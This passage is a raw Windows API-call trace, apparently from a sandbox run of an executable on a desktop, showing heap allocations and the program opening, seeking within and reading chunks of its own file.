lpMem=0x2bb54a0 | out: hHeap=0x2ad0000) returned 1 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9e20 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.407] GetCurrentThreadId () returned 0x9b0 [0073.408] GetCurrentThreadId () returned 0x9b0 [0073.408] GetCurrentThreadId () returned 0x9b0 [0073.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.408] GetCurrentThreadId () returned 0x9b0 [0073.408] GetCurrentThreadId () returned 0x9b0 [0073.408] GetLastError () returned 0x0 [0073.408] GetLastError () returned 0x0 [0073.408] GetLastError () returned 0x0 [0073.408] GetLastError () returned 0x0 [0073.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20168 [0073.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b150 [0073.408] GetLastError () returned 0x0 [0073.408] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.408] GetFileType (hFile=0x1e8) returned 0x1 [0073.409] GetLastError () returned 0x0 [0073.409] GetCurrentThreadId () returned 0x9b0 [0073.409] GetLastError () returned 0x0 [0073.409] GetFileType (hFile=0x1e8) returned 0x1 [0073.409] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0073.409] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.409] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.409] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.409] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.409] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.409] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.409] GetLastError () returned 0x0 [0073.409] GetCurrentThreadId () returned 0x9b0 [0073.409] GetLastError () returned 0x0 [0073.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20168 | out: hHeap=0x2ad0000) returned 1 [0073.409] GetLastError () returned 0x0 [0073.409] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8894995, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x87ba13 [0073.409] GetLastError () returned 0x0 [0073.409] GetCurrentThreadId () returned 0x9b0 [0073.409] GetLastError () returned 0x0 [0073.409] GetCurrentThreadId () returned 0x9b0 [0073.409] GetLastError () returned 0x0 [0073.410] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8574994, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x82d812 [0073.410] GetLastError () returned 0x0 [0073.410] GetCurrentThreadId () returned 0x9b0 [0073.410] GetLastError () returned 0x0 [0073.410] GetCurrentThreadId () returned 0x9b0 [0073.410] GetCurrentThreadId () returned 0x9b0 [0073.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1fd4) returned 0x2baf0c0 [0073.410] GetLastError () returned 0x0 [0073.410] ReadFile (in: hFile=0x1e8, lpBuffer=0x2baf0d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba348, lpOverlapped=0x0 | out: lpBuffer=0x2baf0d4*, lpNumberOfBytesRead=0x9ba348*=0x1000, lpOverlapped=0x0) returned 1 [0073.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2bb10a0 [0073.410] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bb10a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2bb10a0*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0073.410] GetLastError () returned 0x0 [0073.410] GetCurrentThreadId () returned 0x9b0 [0073.410] GetLastError () returned 0x0 [0073.410] GetCurrentThreadId () returned 0x9b0 [0073.410] GetLastError () returned 0x0 [0073.410] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x82f812 [0073.410] GetLastError () returned 0x0 [0073.410] GetCurrentThreadId () returned 0x9b0 [0073.411] GetLastError () returned 0x0 [0073.411] GetLastError () returned 0x0 [0073.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb10a0 | out: hHeap=0x2ad0000) returned 1 [0073.411] CloseHandle (hObject=0x1e8) returned 1 [0073.411] GetLastError () returned 0x0 [0073.411] GetCurrentThreadId () returned 0x9b0 [0073.411] GetLastError () returned 0x0 [0073.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2bb10a0 [0073.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb2c78 [0073.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bb6c98 [0073.411] GetLastError () returned 0x0 [0073.411] GetCurrentThreadId () returned 0x9b0 [0073.411] GetLastError () returned 0x0 [0073.411] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb2c78, Size=0x8015) returned 0x2bbeca0 [0073.411] GetLastError () returned 0x0 [0073.412] GetCurrentThreadId () returned 0x9b0 [0073.412] GetLastError () returned 0x0 [0073.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb6c98 | out: hHeap=0x2ad0000) returned 1 [0073.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb10a0 | out: hHeap=0x2ad0000) returned 1 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bbeca0, Size=0x48d2) returned 0x2bbeca0 [0073.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2baf0c0 | out: hHeap=0x2ad0000) returned 1 [0073.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x348) returned 0x2bae5c8 [0073.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18280, Size=0x20) returned 0x2a1fb78 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a19058 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19a48 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2ac09a8 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac09a8, Size=0xb8) returned 0x2ac1eb8 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1eb8, Size=0xe8) returned 0x2ac26b0 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac26b0, Size=0x120) returned 0x2ba5180 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5180, Size=0x160) returned 0x2ba6a78 [0073.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2baf0c0 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6a78, Size=0x1a8) returned 0x2ac8bd0 [0073.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8bd0, Size=0x1f8) returned 0x2ba8390 [0073.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a8) returned 0x2baf4a8 [0073.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x202) returned 0x2baf758 [0073.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba8390, Size=0x250) returned 0x2ac4228 [0073.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4228, Size=0x2b4) returned 0x2ba8f48 [0073.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x283) returned 0x2baf968 [0073.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba8f48, Size=0x324) returned 0x2bac990 [0073.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x321) returned 0x2baaf50 [0073.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac990, Size=0x3a4) returned 0x2bafbf8 [0073.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bafbf8 | out: hHeap=0x2ad0000) returned 1 [0073.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbeca0 | out: hHeap=0x2ad0000) returned 1 [0073.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba750 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.413] GetCurrentThreadId () returned 0x9b0 [0073.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] GetCurrentThreadId () returned 0x9b0 [0073.414] GetLastError () returned 0x0 [0073.414] GetLastError () returned 0x0 [0073.414] GetLastError () returned 0x0 [0073.414] GetLastError () returned 0x0 [0073.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20108 [0073.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b080 [0073.414] GetLastError () returned 0x0 [0073.414] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.414] GetFileType (hFile=0x1e8) returned 0x1 [0073.414] GetLastError () returned 0x0 [0073.415] GetCurrentThreadId () returned 0x9b0 [0073.415] GetLastError () returned 0x0 [0073.415] GetFileType (hFile=0x1e8) returned 0x1 [0073.415] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0073.415] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.415] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.415] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.415] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.415] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.415] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.415] GetLastError () returned 0x0 [0073.415] GetCurrentThreadId () returned 0x9b0 [0073.415] GetLastError () returned 0x0 [0073.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0073.415] GetLastError () returned 0x0 [0073.415] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8583121, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x82f7d1 [0073.415] GetLastError () returned 0x0 [0073.415] GetCurrentThreadId () returned 0x9b0 [0073.415] GetLastError () returned 0x0 [0073.415] GetCurrentThreadId () returned 0x9b0 [0073.415] GetLastError () returned 0x0 [0073.415] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7551867, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x733b7b [0073.416] GetLastError () returned 0x0 [0073.416] GetCurrentThreadId () returned 0x9b0 [0073.416] GetLastError () returned 0x0 [0073.416] GetCurrentThreadId () returned 0x9b0 [0073.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6bf) returned 0x2bafbf8 [0073.416] GetLastError () returned 0x0 [0073.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2bb02c0 [0073.416] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bb02c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2bb02c0*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0073.417] GetLastError () returned 0x0 [0073.417] GetCurrentThreadId () returned 0x9b0 [0073.417] GetLastError () returned 0x0 [0073.417] GetCurrentThreadId () returned 0x9b0 [0073.417] GetCurrentThreadId () returned 0x9b0 [0073.417] GetLastError () returned 0x0 [0073.417] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x734b7b [0073.417] GetLastError () returned 0x0 [0073.417] GetCurrentThreadId () returned 0x9b0 [0073.417] GetLastError () returned 0x0 [0073.417] GetLastError () returned 0x0 [0073.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb02c0 | out: hHeap=0x2ad0000) returned 1 [0073.417] CloseHandle (hObject=0x1e8) returned 1 [0073.417] GetLastError () returned 0x0 [0073.417] GetCurrentThreadId () returned 0x9b0 [0073.417] GetLastError () returned 0x0 [0073.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2bb02c0 [0073.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb1e98 [0073.418] GetLastError () returned 0x0 [0073.418] GetCurrentThreadId () returned 0x9b0 [0073.418] GetLastError () returned 0x0 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb02c0 | out: hHeap=0x2ad0000) returned 1 [0073.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb1e98, Size=0xdad) returned 0x2bb1e98 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bafbf8 | out: hHeap=0x2ad0000) returned 1 [0073.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a180a0, Size=0x20) returned 0x2a1fa10 [0073.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a18f38 [0073.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f38, Size=0x64) returned 0x2a19b28 [0073.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b28, Size=0x8c) returned 0x2ac0b70 [0073.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x2ac1978 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac1978 | out: hHeap=0x2ad0000) returned 1 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb1e98 | out: hHeap=0x2ad0000) returned 1 [0073.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba5c8 [0073.418] GetCurrentThreadId () returned 0x9b0 [0073.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.418] GetCurrentThreadId () returned 0x9b0 [0073.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.418] GetCurrentThreadId () returned 0x9b0 [0073.418] GetCurrentThreadId () returned 0x9b0 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.418] GetCurrentThreadId () returned 0x9b0 [0073.418] GetCurrentThreadId () returned 0x9b0 [0073.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.419] GetCurrentThreadId () returned 0x9b0 [0073.419] GetCurrentThreadId () returned 0x9b0 [0073.419] GetCurrentThreadId () returned 0x9b0 [0073.419] GetCurrentThreadId () returned 0x9b0 [0073.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.419] GetCurrentThreadId () returned 0x9b0 [0073.419] GetCurrentThreadId () returned 0x9b0 [0073.419] GetLastError () returned 0x0 [0073.419] GetLastError () returned 0x0 [0073.419] GetLastError () returned 0x0 [0073.419] GetLastError () returned 0x0 [0073.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1fef8 [0073.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b080 [0073.419] GetLastError () returned 0x0 [0073.419] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.419] GetFileType (hFile=0x1e8) returned 0x1 [0073.419] GetLastError () returned 0x0 [0073.419] GetCurrentThreadId () returned 0x9b0 [0073.419] GetLastError () returned 0x0 [0073.419] GetFileType (hFile=0x1e8) returned 0x1 [0073.419] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0073.420] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.420] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.420] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.420] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.420] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.420] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.420] GetLastError () returned 0x0 [0073.420] GetCurrentThreadId () returned 0x9b0 [0073.420] GetLastError () returned 0x0 [0073.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0073.420] GetLastError () returned 0x0 [0073.420] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7553573, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x734225 [0073.420] GetLastError () returned 0x0 [0073.420] GetCurrentThreadId () returned 0x9b0 [0073.420] GetLastError () returned 0x0 [0073.420] GetCurrentThreadId () returned 0x9b0 [0073.420] GetLastError () returned 0x0 [0073.420] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7020746, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x6b20ca [0073.420] GetLastError () returned 0x0 [0073.420] GetCurrentThreadId () returned 0x9b0 [0073.420] GetLastError () returned 0x0 [0073.420] GetCurrentThreadId () returned 0x9b0 [0073.421] GetCurrentThreadId () returned 0x9b0 [0073.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2439) returned 0x2bafbf8 [0073.421] GetLastError () returned 0x0 [0073.421] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bafc0c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9b9cf8, lpOverlapped=0x0 | out: lpBuffer=0x2bafc0c*, lpNumberOfBytesRead=0x9b9cf8*=0x2000, lpOverlapped=0x0) returned 1 [0073.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2bb2040 [0073.422] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bb2040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2bb2040*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0073.422] GetLastError () returned 0x0 [0073.422] GetCurrentThreadId () returned 0x9b0 [0073.422] GetLastError () returned 0x0 [0073.422] GetCurrentThreadId () returned 0x9b0 [0073.422] GetLastError () returned 0x0 [0073.422] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x6b50ca [0073.422] GetLastError () returned 0x0 [0073.422] GetCurrentThreadId () returned 0x9b0 